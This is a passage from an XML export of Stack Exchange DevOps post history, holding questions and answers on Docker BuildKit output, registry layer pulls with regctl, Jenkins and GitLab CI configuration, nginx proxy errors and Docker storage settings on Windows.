                                                                                                                          0.0s&#xD;&#xA;------&#xD;&#xA; &gt; [runtime 3/3] COPY --from=build-env /app/Phoneden.Web/out .:&#xD;&#xA;------&#xD;&#xA;failed to solve with frontend dockerfile.v0: failed to build LLB: failed to compute cache key: &quot;/app/Phoneden.Web/out&quot; not found: not found&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As you can see, it is not listing the result of the debug commands I added.&#xD;&#xA;&#xD;&#xA;How can I get the output to be verbose like it was before the update?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39190" PostHistoryTypeId="1" PostId="12771" RevisionGUID="b9325492-6aaa-406d-ab82-7f49d56e0e04" CreationDate="2020-11-15T21:34:11.653" UserId="13052" Text="No longer see Docker build output properly!" ContentLicense="CC BY-SA 4.0" />
  <row Id="39191" PostHistoryTypeId="3" PostId="12771" RevisionGUID="b9325492-6aaa-406d-ab82-7f49d56e0e04" CreationDate="2020-11-15T21:34:11.653" UserId="13052" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39192" PostHistoryTypeId="2" PostId="12772" RevisionGUID="4af5cd46-cfc3-4eef-9add-ca4dfde459be" CreationDate="2020-11-16T02:15:39.997" UserId="2494" Text="I solved this using team-explorer-everywhere. We made a container that clones the code using it edits it an sends it back up. https://github.com/microsoft/team-explorer-everywhere" ContentLicense="CC BY-SA 4.0" />
  <row Id="39193" PostHistoryTypeId="50" PostId="10263" RevisionGUID="e4838227-42c9-4bb9-bff4-3e7fcafa83d5" CreationDate="2020-11-16T11:03:35.457" UserId="-1" />
  <row Id="39194" PostHistoryTypeId="2" PostId="12773" RevisionGUID="9a6fd4af-1332-40bc-9211-f7e70a48f638" CreationDate="2020-11-16T11:44:04.860" UserId="24754" Text="that problem occurs because the `workspace-full-vnc` image uses `pyenv` and the module path is different ([source](https://github.com/gitpod-io/workspace-images/blob/73eeb0eeba2142d04a345e9de7aff4249d7384b5/full/Dockerfile#L201)). To use python modules, you need to install them using `python -m pip install ...`." ContentLicense="CC BY-SA 4.0" />
  <row Id="39195" PostHistoryTypeId="2" PostId="12774" RevisionGUID="f2df2c7d-adf9-463b-9832-db470f3ea611" CreationDate="2020-11-16T13:14:40.693" UserId="7730" Text="This is the output from buildkit. You can run buildkit based builds with a different output syntax:&#xD;&#xA;&#xD;&#xA;    $ docker build --help&#xD;&#xA;    ...&#xD;&#xA;      --progress string         Set type of progress output (auto, plain, tty). Use plain to show container output&#xD;&#xA;                                (default &quot;auto&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In your command, that would be:&#xD;&#xA;&#xD;&#xA;    docker build --progress=plain .&#xD;&#xA;&#xD;&#xA;Or you can disable buildkit by setting `DOCKER_BUILDKIT=0` in your shell:&#xD;&#xA;&#xD;&#xA;    DOCKER_BUILDKIT=0 docker build ." ContentLicense="CC BY-SA 4.0" />
  <row Id="39196" PostHistoryTypeId="2" PostId="12775" RevisionGUID="8f713c28-2da6-4cf7-a526-ceef7f7db712" CreationDate="2020-11-16T13:35:38.887" UserId="7730" Text="I've seen it done before but wouldn't call it common. There are other artifact servers, and many git repositories have the concept of a release with artifacts that makes more sense.&#xD;&#xA;&#xD;&#xA;I suspect Docker Hub is one of many artifact servers to introduce rate limits and other usage caps, so if you do this, make sure you control (or pay for) the registry server. Otherwise the risk is you'll exceed limits and lose access to your artifacts.&#xD;&#xA;&#xD;&#xA;If you only want to copy binaries, then I'd skip the base image and use `FROM scratch`.&#xD;&#xA;&#xD;&#xA;It's also possible to bypass the docker engine entirely and pull the artifacts from the registry server directly to the filesystem. I have a [regclient](https://github.com/regclient/regclient) project that ships a `regctl` command with `regctl image manifest` and `regctl layer pull` commands. E.g.:&#xD;&#xA;&#xD;&#xA;    $ regctl image manifest regclient/regctl&#xD;&#xA;    {&#xD;&#xA;      &quot;schemaVersion&quot;: 2,&#xD;&#xA;      &quot;mediaType&quot;: &quot;application/vnd.docker.distribution.manifest.v2+json&quot;,&#xD;&#xA;      &quot;config&quot;: {&#xD;&#xA;        &quot;mediaType&quot;: &quot;application/vnd.docker.container.image.v1+json&quot;,&#xD;&#xA;        &quot;size&quot;: 3019,&#xD;&#xA;        &quot;digest&quot;: &quot;sha256:e3abac7c7ce78aaa5efddb5abedd54f8ed3077d9d5b03b5a66ecf9f4c3502454&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;layers&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;mediaType&quot;: &quot;application/vnd.docker.image.rootfs.diff.tar.gzip&quot;,&#xD;&#xA;          &quot;size&quot;: 930,&#xD;&#xA;          &quot;digest&quot;: &quot;sha256:41437cd6a6e3d3098329474c62ccc5bd01fcf6b41bf35f0e8c89db96110b23ac&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;mediaType&quot;: &quot;application/vnd.docker.image.rootfs.diff.tar.gzip&quot;,&#xD;&#xA;          &quot;size&quot;: 122413,&#xD;&#xA;          &quot;digest&quot;: &quot;sha256:69d6afda22ccf4f223c016bfd3a108fe0a1ddd15c72978bd238b19201e0e1973&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;mediaType&quot;: &quot;application/vnd.docker.image.rootfs.diff.tar.gzip&quot;,&#xD;&#xA;          &quot;size&quot;: 161,&#xD;&#xA;          &quot;digest&quot;: &quot;sha256:57dd9736a25ab0b55d9d364dc20ee0946a844a8ac72d7f986ef902826f933e89&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;mediaType&quot;: &quot;application/vnd.docker.image.rootfs.diff.tar.gzip&quot;,&#xD;&#xA;          &quot;size&quot;: 3963283,&#xD;&#xA;          &quot;digest&quot;: &quot;sha256:282c5a3b4b6c8bf0b7038204919bbfc26c8b120cd87f4a1f573c12c808774c1c&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    $ regctl layer pull regclient/regctl sha256:282c5a3b4b6c8bf0b7038204919bbfc26c8b120cd87f4a1f573c12c808774c1c | tar -tzvf -&#xD;&#xA;    -rwxr-xr-x root/root  10235904 2020-11-05 20:52 regctl&#xD;&#xA;&#xD;&#xA;Note that the sha's are unique and persistent, so if that hash is unchanged there's no need to pull the binary again. And the above example has a few extra layers since the command is expected to run in the image as a non-root user (/etc/passwd, ca-certificates, and a home directory). For a non-running image, that could be a single layer. E.g.:&#xD;&#xA;&#xD;&#xA;    # change image to your scratch-based source&#xD;&#xA;    image=regclient/regctl&#xD;&#xA;    store=/tmp&#xD;&#xA;    sha=$(regctl image manifest $image --format '{{ (index .Layers 0).Digest}}')&#xD;&#xA;    if [ ! -d &quot;$store/$sha&quot; ]; then&#xD;&#xA;      mkdir -p &quot;$store/$sha&quot;&#xD;&#xA;      regctl layer pull $image $sha | tar -xzvf - -C &quot;$store/$sha&quot;&#xD;&#xA;    fi&#xD;&#xA;    echo &quot;result in $store/$sha&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39197" PostHistoryTypeId="5" PostId="12773" RevisionGUID="aa966502-2493-457e-ac7b-c3826b1bf3e8" CreationDate="2020-11-16T14:48:51.753" UserId="24754" Comment="edited body" Text="That problem occurs because the `workspace-full-vnc` image uses `pyenv` and the module path is different ([source](https://github.com/gitpod-io/workspace-images/blob/73eeb0eeba2142d04a345e9de7aff4249d7384b5/full/Dockerfile#L201)). To use python modules, you need to install them using `python2` or `python3 -m pip install ...`." ContentLicense="CC BY-SA 4.0" />
  <row Id="39198" PostHistoryTypeId="50" PostId="9526" RevisionGUID="87b18cb0-407c-41a7-b9e6-d755f8168cb1" CreationDate="2020-11-16T18:02:10.223" UserId="-1" />
  <row Id="39199" PostHistoryTypeId="2" PostId="12776" RevisionGUID="1c0eefcd-4cc5-40d4-8b51-3c7a887b4418" CreationDate="2020-11-16T23:02:59.800" UserId="24759" Text="If it is acceptable to set the build status to `ABORTED` instead of `SUCCESS`, the following snippet may be used within a pipeline stage to short-circuit the job:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;steps {&#xD;&#xA;    script {&#xD;&#xA;        currentBuild.result = 'ABORTED'&#xD;&#xA;        error(&quot;Aborting the job.&quot;)&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I tested setting the result to `SUCCESS`, but doing so resulted in a failed build (using Jenkins 2.235.5). It seems that `ABORTED` is respected by the `error` step, while `SUCCESS` is overridden." ContentLicense="CC BY-SA 4.0" />
  <row Id="39200" PostHistoryTypeId="2" PostId="12777" RevisionGUID="ff5a657e-3907-4ac9-aebe-1d2ac25810cd" CreationDate="2020-11-17T07:29:56.117" UserId="24764" Text="I have just upgraded the jenkins version&#xD;&#xA;and wrote my first Jenkins declarative plugin.&#xD;&#xA;Following is the pipeline definition&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages{&#xD;&#xA;        stage('Welcome'){&#xD;&#xA;            steps{&#xD;&#xA;                sh '''&#xD;&#xA;                echo &quot;Hello&quot;&#xD;&#xA;                '''&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;On building the job, it is generating the following error:&#xD;&#xA;&#xD;&#xA;    java.lang.ClassCastException: org.jenkinsci.plugins.workflow.job.WorkflowRun cannot be cast to hudson.model.AbstractBuild&#xD;&#xA;	at hudson.plugins.zentimestamp.ZenTimestampEnvironmentContributor.buildEnvironmentFor(ZenTimestampEnvironmentContributor.java:23)&#xD;&#xA;&#xD;&#xA;Can anyone provide me with a solution ?&#xD;&#xA;I understand that it may be a very noob question to ask but I am stuck on this for hours." ContentLicense="CC BY-SA 4.0" />
  <row Id="39201" PostHistoryTypeId="1" PostId="12777" RevisionGUID="ff5a657e-3907-4ac9-aebe-1d2ac25810cd" CreationDate="2020-11-17T07:29:56.117" UserId="24764" Text="Jenkins Declarative Pipeline not running" ContentLicense="CC BY-SA 4.0" />
  <row Id="39202" PostHistoryTypeId="3" PostId="12777" RevisionGUID="ff5a657e-3907-4ac9-aebe-1d2ac25810cd" CreationDate="2020-11-17T07:29:56.117" UserId="24764" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39203" PostHistoryTypeId="5" PostId="12777" RevisionGUID="93b90e70-f9e1-4aba-8283-4e38646099f3" CreationDate="2020-11-17T07:39:08.970" UserId="24764" Comment="added 111 characters in body" Text="I have just upgraded the jenkins version&#xD;&#xA;and wrote my first Jenkins declarative plugin.&#xD;&#xA;Following is the pipeline definition&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages{&#xD;&#xA;        stage('Welcome'){&#xD;&#xA;            steps{&#xD;&#xA;                sh '''&#xD;&#xA;                echo &quot;Hello&quot;&#xD;&#xA;                '''&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;On building the job, it is generating the following error:&#xD;&#xA;&#xD;&#xA;    java.lang.ClassCastException: org.jenkinsci.plugins.workflow.job.WorkflowRun cannot be cast to hudson.model.AbstractBuild&#xD;&#xA;	at hudson.plugins.zentimestamp.ZenTimestampEnvironmentContributor.buildEnvironmentFor(ZenTimestampEnvironmentContributor.java:23)&#xD;&#xA;&#xD;&#xA;Can anyone provide me with a solution ?&#xD;&#xA;I understand that it may be a very noob question to ask but I am stuck on this for hours.&#xD;&#xA;&#xD;&#xA;Is it a versioning issue? ZenTimestamp is a project which is up for adoption. Is this a bug related to it ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39207" PostHistoryTypeId="5" PostId="12767" RevisionGUID="344e8566-4c13-4955-84fc-a835c0715d0e" CreationDate="2020-11-17T15:18:52.903" UserId="24284" Comment="small grammar fixes" Text="I have a fairly simple [Dockerfile](https://github.com/ad-si/TaskLite/blob/dbb50b86b78d71725d58e6d6f39156215351989b/Dockerfile), which works locally. However, when I build it on Docker Hub I get the following error:&#xD;&#xA;&#xD;&#xA;```txt&#xD;&#xA;Starting build of index.docker.io/adius/tasklite:next...&#xD;&#xA;Step 1/16 : from haskell:8.8.4 as builder&#xD;&#xA;---&gt; 3ae1aa658125&#xD;&#xA;Step 2/16 : workdir tasklite&#xD;&#xA;---&gt; Running in 73fa9ffd738e&#xD;&#xA;Removing intermediate container 73fa9ffd738e&#xD;&#xA;---&gt; cdacdf2fede2&#xD;&#xA;Step 3/16 : copy docker-stack.yaml stack.yaml&#xD;&#xA;COPY failed: &#xD;&#xA;stat /var/lib/docker/tmp/docker-builder266377042/docker-stack.yaml: &#xD;&#xA;no such file or directory&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The build configuration seems to be fine as well:&#xD;&#xA;&#xD;&#xA;[![Screenshot build configuration][1]][1]&#xD;&#xA;&#xD;&#xA;How can I fix this?&#xD;&#xA;&#xD;&#xA;[1]: https://i.stack.imgur.com/mqaJh.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39208" PostHistoryTypeId="4" PostId="12767" RevisionGUID="344e8566-4c13-4955-84fc-a835c0715d0e" CreationDate="2020-11-17T15:18:52.903" UserId="24284" Comment="small grammar fixes" Text="How to correctly copy a file when building an image on Docker Hub?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39209" PostHistoryTypeId="24" PostId="12767" RevisionGUID="344e8566-4c13-4955-84fc-a835c0715d0e" CreationDate="2020-11-17T15:18:52.903" Comment="Proposed by 24284 approved by 40 edit id of 1296" ContentLicense="CC BY-SA 4.0" />
  <row Id="39210" PostHistoryTypeId="2" PostId="12779" RevisionGUID="362f96a6-612c-4128-b4f3-b9ac43f53a88" CreationDate="2020-11-17T15:50:45.737" UserId="24771" Text="We are building a system for data science in AWS and our flow is pretty simple.&#xD;&#xA; 1. Get the data - From redis&#xD;&#xA; 2. get the model - From FSx/EBS&#xD;&#xA; 3. run.&#xD;&#xA;&#xD;&#xA;This process script should take something like 5-10 seconds depends on the size of the data and model.&#xD;&#xA;So far so good.&#xD;&#xA;&#xD;&#xA;What we did so far is to build a python application (runs in kubernetes) that listen to a queue and runs the data science flow.&#xD;&#xA;The problem we faced was Pythons memory leak. what ever we did and every approach we took with python a long running application that loads/unloads large objects will grow and grow, So we are trying a new approach , running the script on its own process each time a new process is created and closed when finished (still in kubernetes).&#xD;&#xA;&#xD;&#xA;My question is&#xD;&#xA;Is there a better way? &#xD;&#xA;AWS Lambda - could be a good solution but it has a memory/cpu limits that doesn't fit.&#xD;&#xA;Kubernetes Job - Inefficient when the script itself takes only a few seconds to run.&#xD;&#xA;&#xD;&#xA;Are there any other solutions to run high load of requests with cpu/memory intensive work? (I'm looking for a resource/infrastructure solution, not a software one.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39211" PostHistoryTypeId="1" PostId="12779" RevisionGUID="362f96a6-612c-4128-b4f3-b9ac43f53a88" CreationDate="2020-11-17T15:50:45.737" UserId="24771" Text="Data processing infrastructure" ContentLicense="CC BY-SA 4.0" />
  <row Id="39212" PostHistoryTypeId="3" PostId="12779" RevisionGUID="362f96a6-612c-4128-b4f3-b9ac43f53a88" CreationDate="2020-11-17T15:50:45.737" UserId="24771" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;infrastructure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39213" PostHistoryTypeId="2" PostId="12780" RevisionGUID="c62cce0f-94a4-4c35-b10d-ae0961d4ab17" CreationDate="2020-11-17T16:26:39.133" UserId="24773" Text="I'm trying run the frontend (`react`) and a backend (`nodejs, `express`) from a same `ubuntu 20.4` machine but for some reason my nginx is not mapping correctly. I don't know if I have a typo somewhere or just configured something wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Inside `/etc/nginx/sites-enabled/` I have created 2 files one for the `frontend` and one for the `backend`&#xD;&#xA;&#xD;&#xA;The contents inside the `backend` file are the following:&#xD;&#xA;&#xD;&#xA;     server {&#xD;&#xA;        # server_name  ## add server name&#xD;&#xA;          server_name  backend.develop.mysite.be; // Dummy name for SO, but actual file contains the right address &#xD;&#xA;    &#xD;&#xA;        location / {&#xD;&#xA;            proxy_read_timeout 1800;&#xD;&#xA;            proxy_connect_timeout 1800;&#xD;&#xA;            proxy_send_timeout 1800;&#xD;&#xA;            send_timeout 1800;&#xD;&#xA;    &#xD;&#xA;          proxy_pass http://localhost:9000;  // [ASK]: Is this is what is causing the problem? Maybe I should change it to 3000 ?&#xD;&#xA;          proxy_http_version 1.1;&#xD;&#xA;          proxy_set_header Upgrade $http_upgrade;&#xD;&#xA;          proxy_set_header Connection 'upgrade';&#xD;&#xA;          proxy_set_header Host $host;&#xD;&#xA;          proxy_cache_bypass $http_upgrade;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        listen 443 ssl; # managed by Certbot&#xD;&#xA;        ssl_certificate /etc/letsencrypt/live/frontend.develop.mysite.be/fullchain.pem; # managed by Certbot&#xD;&#xA;        ssl_certificate_key /etc/letsencrypt/live/frontend.develop.mysite.be/privkey.pem; # managed by Certbot&#xD;&#xA;        include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot&#xD;&#xA;        ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;     server {&#xD;&#xA;        if ($host = backend.develop.mysite.be) {&#xD;&#xA;            return 301 https://$host$request_uri;&#xD;&#xA;        } # managed by Certbot&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        listen 80;&#xD;&#xA;          server_name  backend.develop.mysite.be;&#xD;&#xA;        return 404; # managed by Certbot&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;the contents for the `frontend` are very similar just with a different name. In the past this setup worked for me, but for some reason right now I'm getting a `502 BAD Gateway` response error but only for the `backend`. The `frontend` seems to work just fine.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39214" PostHistoryTypeId="1" PostId="12780" RevisionGUID="c62cce0f-94a4-4c35-b10d-ae0961d4ab17" CreationDate="2020-11-17T16:26:39.133" UserId="24773" Text="Getting a 502 Bad Server Request on Nginx" ContentLicense="CC BY-SA 4.0" />
  <row Id="39215" PostHistoryTypeId="3" PostId="12780" RevisionGUID="c62cce0f-94a4-4c35-b10d-ae0961d4ab17" CreationDate="2020-11-17T16:26:39.133" UserId="24773" Text="&lt;nginx&gt;&lt;node.js&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39216" PostHistoryTypeId="2" PostId="12781" RevisionGUID="29ee2da8-28c3-45d5-930a-59101b19574b" CreationDate="2020-11-17T16:38:30.177" UserId="24773" Text="Never mind, I just figured it out . I just needed to change the port i was refering inside the `backend` file `/etc/nginx/sites-enabled/backend`&#xD;&#xA;&#xD;&#xA;Changed this line `proxy_pass http://localhost:9000;` to this line `proxy_pass http://localhost:3000;` and it worked." ContentLicense="CC BY-SA 4.0" />
  <row Id="39217" PostHistoryTypeId="2" PostId="12782" RevisionGUID="13b1dcfc-ff85-4652-bd26-ac1d54d3d379" CreationDate="2020-11-17T16:58:04.440" UserId="24571" Text="I have a huge .gitlab-ci.yml file that I am trying to turn into the &quot;main&quot; ci file by moving some parts to another files which will then be called with the use of the &quot;include&quot; keyword.&#xD;&#xA;&#xD;&#xA;.gitlab-ci.yml file:&#xD;&#xA;````&#xD;&#xA;image: golang:latest&#xD;&#xA;&#xD;&#xA;stages:&#xD;&#xA;  - validate&#xD;&#xA;&#xD;&#xA;include: /.gitlab/ci/_common.gitlab-ci.yml&#xD;&#xA;&#xD;&#xA;validate:&#xD;&#xA;  stage: validate&#xD;&#xA;  extends: .gitlab-tf-backend&#xD;&#xA;  before_script:&#xD;&#xA;    - cd ${TF_ROOT}&#xD;&#xA;    - terraform init -backend=false&#xD;&#xA;    - mv $CI_PROJECT_DIR/deployment.zip .&#xD;&#xA;  script:&#xD;&#xA;    - terraform validate&#xD;&#xA;    - terraform fmt -check=true&#xD;&#xA;  only:&#xD;&#xA;    - branches&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;.gitlab/ci/_common.gitlab-ci.yml file:&#xD;&#xA;````&#xD;&#xA;variables:&#xD;&#xA;  GITLAB_API_ENDPOINT: https://gitlab.com/api/v4&#xD;&#xA;  TF_ROOT: ${CI_PROJECT_DIR}/terraform&#xD;&#xA;  PLAN: plan.tfplan&#xD;&#xA;  JSON_PLAN_FILE: tfplan.json&#xD;&#xA;  GIT_DEPTH: 10&#xD;&#xA;&#xD;&#xA;.gitlab-tf-backend: &amp;gitlab-tf-backend&#xD;&#xA;   - export TF_ADDRESS=${GITLAB_API_ENDPOINT}/projects/${CI_PROJECT_ID}/terraform/state/${STATE_NAME}&#xD;&#xA;   - export TF_HTTP_ADDRESS=${TF_ADDRESS}&#xD;&#xA;   - export TF_HTTP_LOCK_ADDRESS=${TF_ADDRESS}/lock&#xD;&#xA;   - export TF_HTTP_LOCK_METHOD=POST&#xD;&#xA;   - export TF_HTTP_UNLOCK_ADDRESS=${TF_ADDRESS}/lock&#xD;&#xA;   - export TF_HTTP_UNLOCK_METHOD=DELETE&#xD;&#xA;   - export TF_HTTP_USERNAME=${USERNAME}&#xD;&#xA;   - export TF_HTTP_PASSWORD=${GITLAB_TOKEN}&#xD;&#xA;   - export TF_HTTP_RETRY_WAIT_MIN=5&#xD;&#xA;   - echo &quot;Using HTTP Backend at $TF_HTTP_ADDRESS&quot;&#xD;&#xA;   - terraform --version&#xD;&#xA;   - terraform init&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;My file is correctly found by gitlab. It seems that my hidden job &quot;.gitlab-tf-backend&quot; is not recognized and cannot be called. &#xD;&#xA;&#xD;&#xA;Full error is:&#xD;&#xA;````&#xD;&#xA;This GitLab CI configuration is invalid: validate: invalid base hashes in `extends` (.gitlab-tf-backend)&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;How could I properly call my '.gitlab-tf-backend' hidden job from my main .gitlab-ci.yml file ? " ContentLicense="CC BY-SA 4.0" />
  <row Id="39218" PostHistoryTypeId="1" PostId="12782" RevisionGUID="13b1dcfc-ff85-4652-bd26-ac1d54d3d379" CreationDate="2020-11-17T16:58:04.440" UserId="24571" Text="invalid base hashes in `extends` with 'include' -- gitlab-ci" ContentLicense="CC BY-SA 4.0" />
  <row Id="39219" PostHistoryTypeId="3" PostId="12782" RevisionGUID="13b1dcfc-ff85-4652-bd26-ac1d54d3d379" CreationDate="2020-11-17T16:58:04.440" UserId="24571" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39220" PostHistoryTypeId="2" PostId="12783" RevisionGUID="52e733d4-d7cb-4642-89f0-0c2c947c96a5" CreationDate="2020-11-17T18:42:59.973" UserId="24571" Text="Okay, found it. &#xD;&#xA;&#xD;&#xA;It seems the .gitlab-ci.yml hidden job needs to have a &quot;script:&quot; to solve the problem. See below:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;.gitlab-tf-backend: &amp;gitlab-tf-backend&#xD;&#xA;      script:&#xD;&#xA;       - export TF_ADDRESS=${GITLAB_API_ENDPOINT}/projects/${CI_PROJECT_ID}/terraform/state/${STATE_NAME}&#xD;&#xA;       - export TF_HTTP_ADDRESS=${TF_ADDRESS}&#xD;&#xA;       - export TF_HTTP_LOCK_ADDRESS=${TF_ADDRESS}/lock&#xD;&#xA;       - export TF_HTTP_LOCK_METHOD=POST&#xD;&#xA;       - export TF_HTTP_UNLOCK_ADDRESS=${TF_ADDRESS}/lock&#xD;&#xA;       - export TF_HTTP_UNLOCK_METHOD=DELETE&#xD;&#xA;       - export TF_HTTP_USERNAME=${USERNAME}&#xD;&#xA;       - export TF_HTTP_PASSWORD=${GITLAB_TOKEN}&#xD;&#xA;       - export TF_HTTP_RETRY_WAIT_MIN=5&#xD;&#xA;       - echo &quot;Using HTTP Backend at $TF_HTTP_ADDRESS&quot;&#xD;&#xA;       - terraform --version&#xD;&#xA;       - terraform init&#xD;&#xA;````" ContentLicense="CC BY-SA 4.0" />
  <row Id="39221" PostHistoryTypeId="2" PostId="12784" RevisionGUID="a69eea72-0c93-476a-94a1-e411e2f4ba1e" CreationDate="2020-11-17T21:46:48.757" UserId="24778" Text="I had the same issue, I downloaded the Template from Azure which effectively had my Load Balancer's Backend Address Pool as a &quot;dependsOn&quot; and as a &quot;property&quot;. &#xD;&#xA;&#xD;&#xA;This is under the load balancer's &quot;dependsOn&quot; list :&#xD;&#xA;&#xD;&#xA;        &quot;[resourceId('Microsoft.Network/loadBalancers/backendAddressPools', 'LB-db-phi-dbphipri', 'LoadBalancerBEAddressPool')]&quot;&#xD;&#xA;&#xD;&#xA;And the property under the Load Balancer's property list:&#xD;&#xA;        &#xD;&#xA;        &quot;backendAddressPools&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;name&quot;: &quot;LoadBalancerBEAddressPool&quot;,            &#xD;&#xA;            &quot;properties&quot;: {}&#xD;&#xA;          }&#xD;&#xA;        ]&#xD;&#xA;    &#xD;&#xA;Lastly, I had a child definition of the backendAddressPool as well&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;type&quot;: &quot;Microsoft.Network/loadBalancers/backendAddressPools&quot;,&#xD;&#xA;      &quot;apiVersion&quot;: &quot;2020-05-01&quot;,&#xD;&#xA;      &quot;name&quot;: &quot;LB-db-phi-dbphipri/LoadBalancerBEAddressPool&quot;,&#xD;&#xA;      &quot;properties&quot;: {}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You don't need both. In my case I removed the &quot;child&quot; and the &quot;dependsOn&quot; and just have the property defined under the load balancer." ContentLicense="CC BY-SA 4.0" />
  <row Id="39223" PostHistoryTypeId="2" PostId="12785" RevisionGUID="7cd63737-5378-4df1-ac0c-e7997efaf4b8" CreationDate="2020-11-18T04:59:40.073" UserId="9495" Text="A new service have been released this year called [Artifact Registry][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/artifact-registry" ContentLicense="CC BY-SA 4.0" />
  <row Id="39224" PostHistoryTypeId="2" PostId="12786" RevisionGUID="30239b78-f32e-4a75-9ab3-fa98463f5758" CreationDate="2020-11-18T07:42:11.767" UserId="24782" Text="I'm trying to move the Docker storage location to another drive. This is my configuration file:&#xD;&#xA;```json&#xD;&#xA;{&#xD;&#xA;  &quot;registry-mirrors&quot;: [],&#xD;&#xA;  &quot;insecure-registries&quot;: [],&#xD;&#xA;  &quot;debug&quot;: false,&#xD;&#xA;  &quot;experimental&quot;: false,&#xD;&#xA;  &quot;data-root&quot;: &quot;E:\\test&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;I also tried to use `&quot;graph&quot;` instead of `data-root` (probably that was they to do it in the older versions) without any luck. I also gave read/write permissions to `Everyone` just in case. After restarting the daemon, I see the Docker directories and files are created in that folder, however when I try to pull the image, I'm getting following error:&#xD;&#xA;&gt; Executing task: docker build --pull --rm -f &quot;Docker\BuildTools\Dockerfile&quot; -t msbuildssdt &quot;Docker\BuildTools&quot; &lt;&#xD;&#xA;&gt; Sending build context to Docker daemon  5.632kB Error response from&#xD;&#xA;&gt; daemon: chtimes \\?\E:\test\tmp\docker-builder614293845\coverage: The&#xD;&#xA;&gt; parameter is incorrect. The terminal process&#xD;&#xA;&gt; &quot;C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -Command&#xD;&#xA;&gt; docker build --pull --rm -f &quot;Docker\BuildTools\Dockerfile&quot; -t&#xD;&#xA;&gt; msbuildssdt &quot;Docker\BuildTools&quot;&quot; terminated with exit code: 1.&#xD;&#xA;&#xD;&#xA;It's working well if I change the `data-root` value to any folder located on the `C:` drive." ContentLicense="CC BY-SA 4.0" />
  <row Id="39225" PostHistoryTypeId="1" PostId="12786" RevisionGUID="30239b78-f32e-4a75-9ab3-fa98463f5758" CreationDate="2020-11-18T07:42:11.767" UserId="24782" Text="Can't change Windows Docker storage location" ContentLicense="CC BY-SA 4.0" />
  <row Id="39226" PostHistoryTypeId="3" PostId="12786" RevisionGUID="30239b78-f32e-4a75-9ab3-fa98463f5758" CreationDate="2020-11-18T07:42:11.767" UserId="24782" Text="&lt;docker&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39227" PostHistoryTypeId="2" PostId="12787" RevisionGUID="db45fbc7-c5d5-4a2c-b3a9-d5d569c7e13c" CreationDate="2020-11-18T09:08:16.460" UserId="24785" Text="As an alternative to DrGriff's answer..&#xD;&#xA;&#xD;&#xA; - Go to the [Project Settings] for your project and select [Repos] / [Repositories] on the left-hand side&#xD;&#xA; - There should be a &quot;Create&quot; button on the top right (below your profile button)&#xD;&#xA;&#xD;&#xA;If you don't see the &quot;Create&quot; button your user almost certainly does not have the permission to create repositories for this project.&#xD;&#xA;&#xD;&#xA;Looking at *ataraxia's* comment, I had the same issue. I was both a project and collection administrator but could not create a new repository. The reason being that I had explicitly set &quot;Deny&quot; on the &quot;Create repository&quot; permission for &quot;Contributors&quot;. An explicit Deny on one of the groups you belong to seems to override your Allow privileges. So please go over your group member privileges, perhaps that solves your problem?" ContentLicense="CC BY-SA 4.0" />
